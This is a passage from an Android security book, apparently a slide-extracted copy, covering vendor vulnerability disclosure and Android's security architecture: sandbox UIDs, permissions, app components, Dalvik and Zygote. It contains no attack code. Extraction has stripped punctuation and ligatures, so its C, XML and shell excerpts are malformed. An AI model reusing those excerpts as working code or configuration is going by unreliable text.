Chapter 1 ■ Looking at the Ecosystem 23 c01.indd 01:14:5:PM 02/24/2014 Page 23 is the case it means Google is prioritizing a business relationship before the good of the public. Google aside very few other Android stakeholders on the vendor side have conducted public disclosures. Many OEMs have avoided public disclosure entirely even shying away from press inquiries about hot-button vulnerabilities. For example while HTC has a disclosure policy posted at www.htc.com/www/ terms/product-security/ the company has never made a public disclosure to date. On a few occasions carriers have mentioned that their updates include “important security f xes.” On even fewer occasions carriers have even refer- enced public CVE numbers assigned to specif c issues. The Common Vulnerabilities and Exposures CVE project aims to create a cen- tral standardized tracking number for vulnerabilities. Security professionals particularly vulnerability experts use these numbers to track issues in software or hardware. Using CVE numbers greatly improves the ability to identify and discuss an issue across organizational boundaries. Companies that embrace the CVE project are typically seen as the most mature since they recognize the need to document and catalog past issues in their products. Of all of the stakeholders on the vendor side one has stood out as taking public disclosure seriously. That vendor is Qualcomm with its Code Aurora forum. This group is a consortium of companies with projects serving the mobile wireless industry and is operated by Qualcomm. The Code Aurora website has a security advisories page available at https://www.codeaurora.org/projects/ security-advisories with extensive details about security issues and CVE numbers. This level of maturity is one that other stakeholders should seek to follow so that the security of the Android ecosystem as a whole can improve. In general security researchers are the biggest proponents of public disclosures in the Android ecosystem. Although not every security researcher is completely forthcoming they are responsible for bringing issues to the attention of all of the other stakeholders. Often issues are publicly disclosed by independent research- ers or security companies on mailing lists at security conferences or on other public forums. Increasingly researchers are coordinating such disclosures with stakeholders on the vendor side to safely and quietly improve Android security. Summary In this chapter you have seen how the Android operating system has grown over the years to conquer the mobile operating system OS market from the bottom up. The chapter walked you through the main players involved in the Android ecosystem explaining their roles and motivations. You took a close look at the various problems that plague the Android ecosystem including how they affect security. Armed with a deep understanding of Android’s complex

slide 56:

24 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 24 ecosystem one can easily pinpoint key problem areas and apply oneself more effectively to the problem of Android security. The next chapter provides an overview of the security design and architecture of Android. It dives under the hood to show how Android works including how security mechanisms are enforced.

slide 57:

25 c02.indd 01:14:22:PM 02/24/2014 Page 25 Android is comprised of several mechanisms playing a role in security checking and enforcement. Like any modern operating system many of these mecha- nisms interact with each other exchanging information about subjects apps/ users objects other apps f les devices and operations to be performed read write delete and so on. Oftentimes enforcement occurs without incident but occasionally things slip through the cracks affording opportunity for abuse. This chapter discusses the security design and architecture of Android setting the stage for analyzing the overall attack surface of the Android platform. Understanding Android System Architecture The general Android architecture has at times been described as “Java on Linux.” However this is a bit of a misnomer and doesn’t entirely do justice to the complexity and architecture of the platform. The overall architecture consists of components that fall into f ve main layers including Android applications the Android Framework the Dalvik virtual machine user-space native code and the Linux kernel. Figure 2-1 shows how these layers comprise the Android software stack. CHAPTER 2 Android Security Design and Architecture

slide 58:

26 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 26 Stock Android Apps System Services Your Apps/Market Apps android. App API Binder JNI Dalvik/Android Runtime/Zygote Libraries Bionic/OpenGL/WebKit/... Hardware Abstraction Layer Linux Kernel Wakelocks/Lowmem/Binder/Ashmem/Logger/RAM Console/... Native Daemons Init/Toolbox java. Apache Harmony Launcher2 Phone AlarmClock Email Settings Camera Gallery Mms DeskClock Calendar Browser Bluetooth Calculator Contacts ... Power Manager Mount Service Status Bar Manager Activity Manager Notification Manager Sensor Service Package Manager Location Manager Window Manager Battery Manager Surface Flinger ... Figure 2-1: General Android system architecture Source: Karim Yaghmour of Opersys Inc. Creative Commons Share-Alike 3.0 license http://www.slideshare.net/opersys/inside-androids-ui Android applications allow developers to extend and improve the functionality of a device without having to alter lower levels. In turn the Android Framework provides developers with a rich API that has access to all of the various facilities an Android device has to offer—the “ glue” between apps and the Dalvik virtual machine. This includes building blocks to enable developers to perform common tasks such as managing user interface UI elements accessing shared data stores and passing messages between application components. Both Android applications and the Android Framework are developed in the Java programming language and execute within the Dalvik virtual machine DalvikVM. This virtual machine VM was specially designed to provide an eff cient abstraction layer to the underlying operating system. The DalvikVM is a register-based VM that interprets the Dalvik Executable DEX byte code format. In turn the DalvikVM relies on functionality provided by a number of supporting native code libraries. The user-space native code components of Android includes system services such as vold and DBus networking services such as dhcpd and wpa_supplicant and libraries such as bionic libc WebKit and OpenSSL. Some of these services and libraries communicate with kernel-level services and drivers whereas others simply facilitate lower-level native operations for managed code.

slide 59:

Chapter 2 ■ Android Security Design and Architecture 27 c02.indd 01:14:22:PM 02/24/2014 Page 27 Androids underpinning is the Linus kernel. Android made numerous additions and changes to the kernel source tree some of which have their own security ramif cations. We discuss these issues in greater detail in Chapters 3 10 and 12. Kernel-level drivers also provide additional functionality such as camera access Wi-Fi and other network device access. Of particular note is the Binder driver which implements inter-process communication IPC. The “Looking Closer at the Layers” section later in this chapter examines key components from each layer in more detail. Understanding Security Boundaries and Enforcement Security boundaries sometimes called trust boundaries are specif c places within a system where the level of trust differs on either side. A great example is the boundary between kernel-space and user-space. Code in kernel-space is trusted to perform low-level operations on hardware and access all virtual and physical memory. However user-space code cannot access all memory due to the boundary enforced by the central processing unit CPU. The Android operating system utilizes two separate but cooperating per- missions models. At the low level the Linux kernel enforces permissions using users and groups. This permissions model is inherited from Linux and enforces access to f le system entries as well as other Android specif c resources. This is commonly referred to as Android’s sandbox. The Android runtime by way of the DalvikVM and Android framework enforces the second model. This model which is exposed to users when they install applications def nes app permis- sions that limit the abilities of Android applications. Some permissions from the second model actually map directly to specif c users groups and capabilities on the underlying operating system OS. Android’s Sandbox Androids foundation of Linux brings with it a well-understood heritage of Unix-like process isolation and the principle of least privilege. Specif cally the concept that processes running as separate users cannot interfere with each other such as sending signals or accessing one another’s memory space. Ergo much of Android’s sandbox is predicated on a few key concepts: standard Linux process isolation unique user IDs UIDs for most processes and tightly restricted f le system permissions. Android shares Linux’s UID/group ID GID paradigm but does not have the traditional passwd and group f les for its source of user and group credentials. Instead Android def nes a map of names to unique identif ers known as Android IDs AIDs. The initial AID mapping contains reserved static entries for privileged

slide 60:

28 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 28 and system-critical users such as the system user/group. Android also reserves AID ranges used for provisioning app UIDs. V ersions of Android after 4.1 added additional AID ranges for multiple user prof les and isolated process users e.g. for further sandboxing of Chrome. Y ou can f nd def nitions for AIDs in system/core/ include/private/android_filesystem_config.h in the Android Open Source Project AOSP tree. The following shows an excerpt that was edited for brevity: define AID_ROOT 0 / traditional unix root user / define AID_SYSTEM 1000 / system server / define AID_RADIO 1001 / telephony subsystem RIL / define AID_BLUETOOTH 1002 / bluetooth subsystem / ... define AID_SHELL 2000 / adb and debug shell user / define AID_CACHE 2001 / cache access / define AID_DIAG 2002 / access to diagnostic resources / / The 3000 series are intended for use as supplemental group ids only. They indicate special Android capabilities that the kernel is aware of. / define AID_NET_BT_ADMIN 3001 / bluetooth: create any socket / define AID_NET_BT 3002 / bluetooth: create sco rfcomm or l2cap sockets / define AID_INET 3003 / can create AF_INET and AF_INET6 sockets / define AID_NET_RAW 3004 / can create raw INET sockets / ... define AID_APP 10000 / first app user / define AID_ISOLATED_START 99000 / start of uids for fully isolated sandboxed processes / define AID_ISOLATED_END 99999 / end of uids for fully isolated sandboxed processes / define AID_USER 100000 / offset for uid ranges for each user / In addition to AIDs Android uses supplementary groups to enable pro- cesses to access shared or protected resources. For example membership in the sdcard_rw group allows a process to both read and write the /sdcard directory as its mount options restrict which groups can read and write. This is similar to how supplementary groups are used in many Linux distributions. NOTE Though all AID entries map to both a UID and GID the UID may not necessarily be used to represent a user on the system. For instance AID_SDCARD_RW maps to sdcard_rw but is used only as a supplemental group not as a UID on the system.

slide 61:

Chapter 2 ■ Android Security Design and Architecture 29 c02.indd 01:14:22:PM 02/24/2014 Page 29 Aside from enforcing f le system access supplementary groups may also be used to grant processes additional rights. The AID_INET group for instance allows for users to open AF_INET and AF_INET6 sockets. In some cases rights may also come in the form of a Linux capability. For example membership in the AID_INET_ADMIN group grants the CAP_NET_ADMIN capability allowing the user to conf gure network interfaces and routing tables. Other similar network-related groups are cited later in the “Paranoid Networking” section. In version 4.3 and later Android increases its use of Linux capabilities. For example Android 4.3 changed the /system/bin/run-as binary from being set-UID root to using Linux capabilities to access privileged resources. Here this capability facilitates access to the packages.list f le. NOTE A complete discussion on Linux capabilities is out of the scope of this chapter. You can fi nd more information about Linux process security and Linux capabilities in the Linux kernel’s Documentation/security/credentials.txt and the capabilities manual page respectively. When applications execute their UID GID and supplementary groups are assigned to the newly created process. Running under a unique UID and GID enables the operating system to enforce lower-level restrictions in the kernel and for the runtime to control inter-app interaction. This is the crux of the Android sandbox. The following snippet shows the output of the ps command on an HTC One V . Note the owning UID on the far left each of which are unique for each app process: app_16 4089 1451 304080 31724 ... S com.htc.bgp app_35 4119 1451 309712 30164 ... S com.google.android.calendar app_155 4145 1451 318276 39096 ... S com.google.android.apps.plus app_24 4159 1451 307736 32920 ... S android.process.media app_151 4247 1451 303172 28032 ... S com.htc.lockscreen app_49 4260 1451 303696 28132 ... S com.htc.weather.bg app_13 4277 1451 453248 68260 ... S com.android.browser Applications can also share UIDs by way of a special directive in the application package. This is discussed further in the “Major Application Components” section. Under the hood the user and group names displayed for the process are actually provided by Android-specif c implementations of the POSIX functions typically used for setting and fetching of these values. For instance consider the getpwuid function def ned in stubs.cpp in the Bionic library:

slide 62:

30 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 30 345 passwd getpwuiduid_t uid // NOLINT: implementing bad function. 346 stubs_state_t state __stubs_state 347 if state NULL 348 return NULL 349 350 351 passwd pw android_id_to_passwdstate uid 352 if pw NULL 353 return pw 354 355 return app_id_to_passwduid state 356 Like its brethren getpwuid in turn calls additional Android-specif c functions such as android_id_to_passwd and app_id_to_passwd. These functions then populate a Unix password structure with the corresponding AID’s informa- tion. The android_id_to_passwd function calls android_iinfo_to_passwd to accomplish this: static passwd android_iinfo_to_passwdstubs_state_t state const android_id_info iinfo snprintfstate-dir_buffer_ sizeofstate-dir_buffer_ "/" snprintfstate-sh_buffer_ sizeofstate-sh_buffer_ "/system/bin/sh" passwd pw state-passwd_ pw-pw_name char iinfo-name pw-pw_uid iinfo-aid pw-pw_gid iinfo-aid pw-pw_dir state-dir_buffer_ pw-pw_shell state-sh_buffer_ return pw Android Permissions The Android permissions model is multifaceted: There are API permissions f le system permissions and IPC permissions. Oftentimes there is an intertwining of each of these. As previously mentioned some high-level permissions map back to lower-level OS capabilities. This could include actions such as opening sockets Bluetooth devices and certain f le system paths. To determine the app user’s rights and supplemental groups Android pro- cesses high-level permissions specif ed in an app package’s AndroidManifest .xml f le the manifest and permissions are covered in more detail in the “Major Application Components” section. Applications’ permissions are extracted from the application’s manifest at install time by the PackageManager and stored in /data/system/packages.xml. These entries are then used to grant the appropriate

slide 63:

Chapter 2 ■ Android Security Design and Architecture 31 c02.indd 01:14:22:PM 02/24/2014 Page 31 rights at the instantiation of the app’s process such as setting supplemental GIDs. The following snippet shows the Google Chrome package entry inside packages.xml including the unique userId for this app as well as the permis- sions it requests: package name"com.android.chrome" codePath"/data/app/com.android.chrome-1.apk" nativeLibraryPath"/data/data/com.android.chrome/lib" flags"0" ft"1422a161aa8" it"1422a163b1a" ut"1422a163b1a" version"1599092" userId"10082" installer"com.android.vending" sigs count"1" cert index"0" / /sigs perms item name"com.android.launcher.permission.INSTALL_SHORTCUT" / item name"android.permission.NFC" / ... item name"android.permission.WRITE_EXTERNAL_STORAGE" / item name"android.permission.ACCESS_COARSE_LOCATION" / ... item name"android.permission.CAMERA" / item name"android.permission.INTERNET" / ... /perms /package The permission-to-group mappings are stored in /etc/permissions/ platform.xml. These are used to determine supplemental group IDs to set for the application. The following snippet shows some of these mappings: ... permission name"android.permission.INTERNET" group gid"inet" / /permission permission name"android.permission.CAMERA" group gid"camera" / /permission permission name"android.permission.READ_LOGS" group gid"log" / /permission permission name"android.permission.WRITE_EXTERNAL_STORAGE" group gid"sdcard_rw" / /permission ...

slide 64:

32 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 32 The rights def ned in package entries are later enforced in one of two ways. The f rst type of checking is done at the time of a given method invocation and is enforced by the runtime. The second type of checking is enforced at a lower level within the OS by a library or the kernel itself. API Permissions API permissions include those that are used for controlling access to high- level functionality within the Android API/framework and in some cases third-party frameworks. An example of a common API permission is READ_PHONE_STATE which is def ned in the Android documentation as allowing “read only access to phone state.” An app that requests and is subsequently granted this permission would therefore be able to call a variety of meth- ods related to querying phone information. This would include methods in the TelephonyManager class like getDeviceSoftwareVersion getDeviceId getDeviceId and more. As mentioned earlier some API permissions correspond to kernel-level enforce- ment mechanisms. For example being granted the INTERNET permission means the requesting app’s UID is added as a member of the inet group GID 3003. Membership in this group grants the user the ability to open AF_INET and AF_INET6 sockets which is needed for higher-level API functionality such as creating an HttpURLConnection object. In Chapter 4 we also discuss some oversights and issues with API permis- sions and their enforcement. File System Permissions Android’s application sandbox is heavily supported by tight Unix f le system permissions. Applications’ unique UIDs and GIDs are by default given access only to their respective data storage paths on the f le system. Note the UIDs and GIDs in the second and third columns in the following directory listing. They are unique for these directories and their permissions are such that only those UIDs and GIDs may access the contents therein: rootandroid:/ ls -l /data/data drwxr-x--x u0_a3 u0_a3 ... com.android.browser drwxr-x--x u0_a4 u0_a4 ... com.android.calculator2 drwxr-x--x u0_a5 u0_a5 ... com.android.calendar drwxr-x--x u0_a24 u0_a24 ... com.android.camera ... drwxr-x--x u0_a55 u0_a55 ... com.twitter.android drwxr-x--x u0_a56 u0_a56 ... com.ubercab drwxr-x--x u0_a53 u0_a53 ... com.yougetitback.androidapplication.virgin. mobile drwxr-x--x u0_a31 u0_a31 ... jp.co.omronsoft.openwnn

slide 65:

Chapter 2 ■ Android Security Design and Architecture 33 c02.indd 01:14:22:PM 02/24/2014 Page 33 Subsequently f les created by applications will have appropriate f le permissions set. The following listing shows an application’s data directory with ownership and permissions on subdirectories and f les set only for the app’s UID and GID: rootandroid:/data/data/com.twitter.android ls -lR .: drwxrwx--x u0_a55 u0_a55 2013-10-17 00:07 cache drwxrwx--x u0_a55 u0_a55 2013-10-17 00:07 databases drwxrwx--x u0_a55 u0_a55 2013-10-17 00:07 files lrwxrwxrwx install install 2013-10-22 18:16 lib - /data/app-lib/com.twitter.android-1 drwxrwx--x u0_a55 u0_a55 2013-10-17 00:07 shared_prefs ./cache: drwx------ u0_a55 u0_a55 2013-10-17 00:07 com.android.renderscript.cache ./cache/com.android.renderscript.cache: ./databases: -rw-rw---- u0_a55 u0_a55 184320 2013-10-17 06:47 0-3.db -rw------- u0_a55 u0_a55 8720 2013-10-17 06:47 0-3.db-journal -rw-rw---- u0_a55 u0_a55 61440 2013-10-22 18:17 global.db -rw------- u0_a55 u0_a55 16928 2013-10-22 18:17 global.db-journal ./files: drwx------ u0_a55 u0_a55 2013-10-22 18:18 com.crashlytics.sdk.android ./files/com.crashlytics.sdk.android: -rw------- u0_a55 u0_a55 80 2013-10-22 18:18 5266C1300180-0001-0334-EDCC05CFF3D7BeginSession.cls ./shared_prefs: -rw-rw---- u0_a55 u0_a55 155 2013-10-17 00:07 com.crashlytics.prefs. xml -rw-rw---- u0_a55 u0_a55 143 2013-10-17 00:07 com.twitter.android_preferences.xml As mentioned previously certain supplemental GIDs are used for access to shared resources such as SD cards or other external storage. As an example note the output of the mount and ls commands on an HTC One V highlighting the /mnt/sdcard path: rootandroid:/ mount ... /dev/block/dm-2 /mnt/sdcard vfat rwdirsyncnosuidnodevnoexecrelatime uid1000gid1015fmask0702dmask0702allow_utime0020codepagecp437 iocharsetiso8859-1shortnamemixedutf8errorsremount-ro 0 0 ... rootandroid:/ ls -l /mnt ... d---rwxr-x system sdcard_rw 1969-12-31 19:00 sdcard

slide 66:

34 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 34 Here you see that the SD card is mounted with GID 1015 which corresponds to the sdcard_rw group. Applications requesting the WRITE_EXTERNAL_STORAGE permission will have their UID added to this group granting them write access to this path. IPC Permissions IPC permissions are those that relate directly to communication between app components and some system IPC facilities though there is some overlap with API permissions. The declaration and enforcement of these permissions may occur at different levels including the runtime library functions or directly in the application itself. Specif cally this permission set applies to the major Android application components that are built upon Android’s Binder IPC mechanism. The details of these components and Binder itself are presented later in this chapter. Looking Closer at the Layers This section takes a closer look at the most security-relevant pieces of the Android software stack including applications the Android framework the DalvikVM supporting user-space native code and associated services and the Linux kernel. This will help set the stage for later chapters which will go into greater detail about these components. This will then provide the knowledge necessary to attack those components. Android Applications In order to understand how to evaluate and attack the security of Android applications you f rst need to understand what they’re made of. This section discusses the security-pertinent pieces of Android applications the application runtime and supporting IPC mechanisms. This also helps lay the groundwork for Chapter 4. Applications are typically broken into two categories: pre-installed and user- installed. Pre-installed applications include Google original equipment manu- facturer OEM and/ or mobile carrier-provided applications such as calendar e-mail browser and contact managers. The packages for these apps reside in the /system/app directory. Some of these may have elevated privileges or capabili- ties and therefore may be of particular interest. User-installed applications are those that the user has installed themselves either via an app market such as Google Play direct download or manually with pm install or adb install. These apps as well as updates to pre-installed apps reside in the /data/app directory.

slide 67:

Chapter 2 ■ Android Security Design and Architecture 35 c02.indd 01:14:22:PM 02/24/2014 Page 35 Android uses public-key cryptography for several purposes related to applica- tions. First Android uses a special platform key to sign pre-installed app packages. Applications signed with this key are special in that they can have system user privileges. Next third-party applications are signed with keys generated by individual developers. For both pre-installed and user-installed apps Android uses the signature to prevent unauthorized app updates. Major Application Components Although Android applications consist of numerous pieces this section highlights those that are notable across most applications regardless of the targeted version of Android. These include the AndroidManifest Intents Activities BroadcastReceivers Services and Content Providers. The latter four of these components represent IPC endpoints which have particularly interesting security properties. AndroidManifest.xml All Android application packages APKs must include the AndroidManifest .xml f le. This XML f le contains a smorgasbord of information about the appli- cation including the following: ■ Unique package name e.g. com.wiley.SomeApp and version information ■ Activities Services BroadcastReceivers and Instrumentation def nitions ■ Permission def nitions both those the application requests and custom permissions it def nes ■ Information on external libraries packaged with and used by the application ■ Additional supporting directives such as shared UID information pre- ferred installation location and UI info such as the launcher icon for the application One particularly interesting part of the manifest is the sharedUserId attri- bute. Simply put when two applications are signed by the same key they can specify an identical user identif er in their respective manifests. In this case both applications execute under the same UID. This subsequently allows these apps access to the same f le system data store and potentially other resources. The manifest f le is often automatically generated by the development envi- ronment such as Eclipse or Android Studio and is converted from plaintext XML to binary XML during the build process. Intents A key part of inter-app communication is Intents. These are message objects that contain information about an operation to be performed the optional target component on which to act and additional f ags or other supporting information which may be signif cant to the recipient. Nearly all common actions—such as

slide 68:

36 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 36 tapping a link in a mail message to launch the browser notifying the messaging app that an SMS has arrived and installing and removing applications—involve Intents being passed around the system. This is akin to an IPC or remote procedure call RPC facility where applica- tions’ components can interact programmatically with one another invoking functionality and sharing data. Given the enforcement of the sandbox at a lower level f le system AIDs and so on applications typically interact via this API. The Android runtime acts as a reference monitor enforcing permissions checks for Intents if the caller and/or the callee specify permission requirements for sending or receipt of messages. When declaring specif c components in a manifest it is possible to specify an intent f lter which declares the criteria to which the endpoint handles. Intent f lters are especially used when dealing with intents that do not have a specif c destination called implicit intents. For example suppose an application’s manifest contains a custom permission com.wiley.permission.INSTALL_WIDGET and an activity com.wiley.MyApp .InstallWidgetActivity which uses this permission to restrict launching of the InstallWidgetActivity: manifest android:versionCode"1" android:versionName"1.0" package"com.wiley.MyApp" ... permission android:name"com.wiley.permission.INSTALL_WIDGET" android:protectionLevel"signature" / ... activity android:name".InstallWidgetActivity" android:permission"com.wiley.permission.INSTALL_WIDGET"/ Here we see the permission declaration and the activity declaration. Note too that the permission has a protectionLevel attribute of signature. This limits which other applications can request this permission to just those signed by the same key as the app that initially def ned this permission. Activities Simply put an Activity is a user-facing application component or UI. Built on the base Activity class activities consist of a window along with pertinent UI elements. Lower-level management of Activities is handled by the appropriately named Activity Manager service which also processes Intents that are sent to invoke Activities between or even within applications. These Activities are def ned within the application’s manifest thusly:

slide 69:

Chapter 2 ■ Android Security Design and Architecture 37 c02.indd 01:14:22:PM 02/24/2014 Page 37 ... activity android:theme"style/Theme_NoTitle_FullScreen" android:name"com.yougetitback.androidapplication.ReportSplashScreen" android:screenOrientation"portrait" / activity android:theme"style/Theme_NoTitle_FullScreen" android:name"com.yougetitback.androidapplication.SecurityQuestionScreen" android:screenOrientation"portrait" / activity android:label"string/app_name" android:name"com.yougetitback.androidapplication.SplashScreen" android:clearTaskOnLaunch"false" android:launchMode"singleTask" android:screenOrientation"portrait" intent-filter action android:name"android.intent.action.MAIN" / /intent-filter ... Here we see activities along with specif ers for style/UI information screen orientation and so on. The launchMode attribute is notable as it affects how the Activity is launched. In this case the singleTask value indicates that only one instance of this particular activity can exist at a time as opposed to launching a separate instance for each invocation. The current instance if there is one of the application will receive and process the Intent which invoked the activity. Broadcast Receivers Another type of IPC endpoint is the Broadcast Receiver. These are commonly found where applications want to receive an implicit Intent matching certain other criteria. For example an application that wants to receive the Intent asso- ciated with an SMS message would register a receiver in its manifest with an intent f lter matching the android.provider.Telephony.SMS_RECEIVED action: receiver android:name".MySMSReceiver" intent-filter android:priority:"999" action android:name"android.provider.Telephony.SMS_RECEIVED" / /intent-filter /receiver NOTE Broadcast Receivers may also be registered programmatically at runtime by using the registerReceiver method. This method can also be overloaded to set permission restrictions on the receiver. Setting permission requirements on Broadcast Receivers can limit which applications can send Intents to that endpoint.

slide 70:

38 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 38 Services Services are application components without a UI that run in the background even if the user is not interacting directly with the Service’s application. Some examples of common services on Android include the SmsReceiverService and the BluetoothOppService. Although each of these services runs outside of the user’s direct view like other Android app components they can take advantage of IPC facilities by sending and receiving Intents. Services must also be declared in the application’s manifest. For example here is a simple def nition for a service also featuring an intent f lter: service android:name"com.yougetitback.androidapplication.FindLocationService" intent-filter action android:name"com.yougetitback.androidapplication.FindLocationService" / /intent-filter /service Services can typically be stopped started or bound all by way of Intents. In the lattermost case binding to a service an additional set of IPC or RPC proce- dures may be available to the caller. These procedures are specif c to a service’s implementation and take deeper advantage of the Binder service discussed later in the “Kernel” section of the chapter. Content Providers Content Providers act as a structured interface to common shared data stores. For example the Contacts provider and Calendar provider manage centralized repositories of contact entries and calendar entries respectively which can be accessed by other applications with appropriate permissions. Applications may also create their own Content Providers and may optionally expose them to other applications. The data exposed by these providers is typically backed by an SQLite database or a direct f le system path for example a media player indexing and sharing paths to MP3 f les. Much like other app components the ability to read and write Content Providers can be restricted with permissions. Consider the following snippet from an example AndroidManifest.xml f le: provider android:name"com.wiley.example.MyProvider" android:writePermission"com.wiley.example.permission.WRITE" android:authorities"com.wiley.example.data" / The application declares a provider named MyProvider which corre- sponds to the class implementing the provider functionality. Then it declares a writePermission of com.wiley.example.permission.WRITE indicating that only apps bearing this custom permission can write to this provider. Finally

slide 71:

Chapter 2 ■ Android Security Design and Architecture 39 c02.indd 01:14:22:PM 02/24/2014 Page 39 it specif es the authorities or content uniform resource identif er URI that this provider will act for. Content URIs take the form of content://authori- tyname/ and may include additional path/argument information possibly signif cant to the underlying provider implementation for example content:// com.wiley.example.data/foo. In Chapter 4 we demonstrate a means of discovering and attacking some of these IPC endpoints. The Android Framework The glue between apps and the runtime the Android Framework provides the pieces—packages and their classes—for developers to perform common tasks. Such tasks might include managing UI elements accessing shared data stores and passing messages between application components. To wit it includes any non-app-specif c code that still executes within the DalvikVM. The common framework packages are those within the android. namespace such as android.content or android.telephony. Android also provides many standard Java classes in the java. and javax. namespaces as well as addi- tional third-party packages such as Apache HTTP client libraries and the SAX XML parser. The Android Framework also includes the services used to manage and facilitate much of the functionality provided by the classes within. These so-called managers are started by system_server discussed in the “Zygote” section after system initialization. Table 2-1 shows some of these managers and their description/role in the framework. Table 2-1: Framework Managers FRAMEWORK SERVICE DESCRIPTION Activity Manager Manages Intent resolution/destinations app/activity launch and so on View System Manages views UI compositions that a user sees in activities Package Manager Manages information and tasks about packages currently and previously queued to be installed on the system Telephony Manager Manages information and tasks related to telephony services radio states and network and subscriber information Resource Manager Provides access to non-code app resources such as graphics UI layouts string data and so on Location Manager Provides an interface for setting and retrieving GPS cell WiFi location information such as location fi x/coordinates Notifi cation Manager Manages various event notifi cations such as playing sounds vibrating fl ashing LEDs and displaying icons in the status bar

slide 72:

40 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 40 You can see some of these managers appearing as threads within the system_server process by using the ps command specifying the system_server PID and the -t option: rootgeneric:/ ps -t -p 376 USER PID PPID ... NAME system 376 52 ... system_server ... system 389 376 ... SensorService system 390 376 ... WindowManager system 391 376 ... ActivityManager ... system 399 376 ... PackageManager The Dalvik Virtual Machine The DalvikVM is register-based as opposed to stack-based. Although Dalvik is said to be Java-based it is not Java insofar as Google does not use the Java logos and the Android application model has no relationship with JSRs Java Specif cation Requirements. To the Android application developer the DalvikVM might look and feel like Java but it isn’t. The overall development process looks like this: 1. Developer codes in what syntactically looks like Java. 2. Source code is compiled into .class f les also Java-like. 3. The resulting class f les are translated into Dalvik bytecode. 4. All class f les are combined into a single Dalvik executable DEX f le. 5. Bytecode is loaded and interpreted by the DalvikVM. As a register-based virtual machine Dalvik has about 64000 virtual regis- ters. However it is most common for only the f rst 16 or rarely 256 to be used. These registers are simply designated memory locations in the VM’s memory that simulate the register functionality of microprocessors. Just like an actual microprocessor the DalvikVM uses these registers to keep state and generally keep track of things while it executes bytecode. The DalvikVM is specif cally designed for the constraints imposed by an embedded system such as low memory and processor speeds. Therefore the DalvikVM is designed with speed and eff ciency in mind. Virtual machines after all are an abstraction of the underlying register machine of the CPU. This inherently means loss of eff ciency which is why Google sought to minimize these effects. To make the most within these constraints DEX f les are optimized before being interpreted by the virtual machine. For DEX f les launched from within an Android app this generally happens only once when the application is f rst launched. The output of this optimization process is an Optimized DEX f le

slide 73:

Chapter 2 ■ Android Security Design and Architecture 41 c02.indd 01:14:22:PM 02/24/2014 Page 41 ODEX. It should be noted that ODEX f les are not portable across different revisions of the DalvikVM or between devices. Similar to the Java VM the DalvikVM interfaces with lower-level native code using Java Native Interface JNI. This bit of functionality allows both calling from Dalvik code into native code and vice versa. More detailed information about the DalvikVM the DEX f le format and JNI on Android is available in the off cial Dalvik documentation at http://milk.com/kodebase/dalvik-docs-mirror/docs/. Zygote One of the f rst processes started when an Android device boots is the Zygote process. Zygote in turn is responsible for starting additional services and loading libraries used by the Android Framework. The Zygote process then acts as the loader for each Dalvik process by creating a copy of itself or forking. This optimization prevents having to repeat the expensive process of loading the Android Framework and its dependencies when starting Dalvik processes including apps. As a result core libraries core classes and their corresponding heap structures are shared across instances of the DalvikVM. This creates some interesting possibilities for attack as you read in greater detail in Chapter 12. Zygote’s second order of business is starting the system_server process. This process holds all of the core services that run with elevated privileges under the system AID. In turn system_server starts up all of the Android Framework services introduced in Table 2-1. NOTE The system_server process is so important that killing it makes the device appear to reboot. However only the device’s Dalvik subsystem is actually rebooting. After its initial startup Zygote provides library access to other Dalvik pro- cesses via RPC and IPC. This is the mechanism by which the processes that host Android app components are actually started. User-Space Native Code Native code in operating system user-space comprises a large portion of Android. This layer is comprised of two primary groups of components: libraries and core system services. This section discusses these groups and many individual components that belong to these groups in a bit more detail. Libraries Much of the low-level functionality relied upon by higher-level classes in the Android Framework is implemented by shared libraries and accessed via JNI. Many of these libraries are the same well-known open source projects used

slide 74:

42 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 42 in other Unix-like operating systems. For example SQLite provides local data- base functionality WebKit provides an embeddable web browser engine and FreeType provides bitmap and vector font rendering. Vendor-specif c libraries namely those that provide support for hardware unique to a device model are in /vendor/lib or /system/vendor/lib. These would include low-level support for graphics devices GPS transceivers or cel- lular radios. Non-vendor-specif c libraries are in /system/lib and typically include external projects for example: ■ libexif: A JPEG EXIF processing library ■ libexpat: The Expat XML parser ■ libaudioalsa/libtinyalsa: The ALSA audio library ■ libbluetooth: The BlueZ Linux Bluetooth library ■ libdbus: The D-Bus IPC library These are only a few of the many libraries included in Android. A device running Android 4.3 contains more than 200 shared libraries. However not all underlying libraries are standard. Bionic is a notable exam- ple. Bionic is a derivation of the BSD C runtime library aimed at providing a smaller footprint optimizations and avoiding licensing issues associated with the GNU Public License GPL. These differences come at a slight price. Bionic’s libc is not as complete as say the GNU libc or even Bionic’s parent BSD libc implementation. Bionic also contains quite a bit of original code. In an effort to reduce the C runtime’s footprint the Android developers implemented a custom dynamic linker and threading API. Because these libraries are developed in native code they are prone to memory corruption vulnerabilities. That fact makes this layer a particularly interesting area to explore when researching Android security. Core Services Core services are those that set up the underlying OS environment and native Android components. These services range from those that f rst initialize user- space such as init to providing crucial debugging functionality such as adbd and debuggerd. Note that some core services may be hardware or version spe- cif c this section is certainly not an exhaustive list of all user-space services. init On a Linux system as Android is the f rst user-space process started by the Linux kernel is the init command. Just as with other Linux systems Android’s

slide 75:

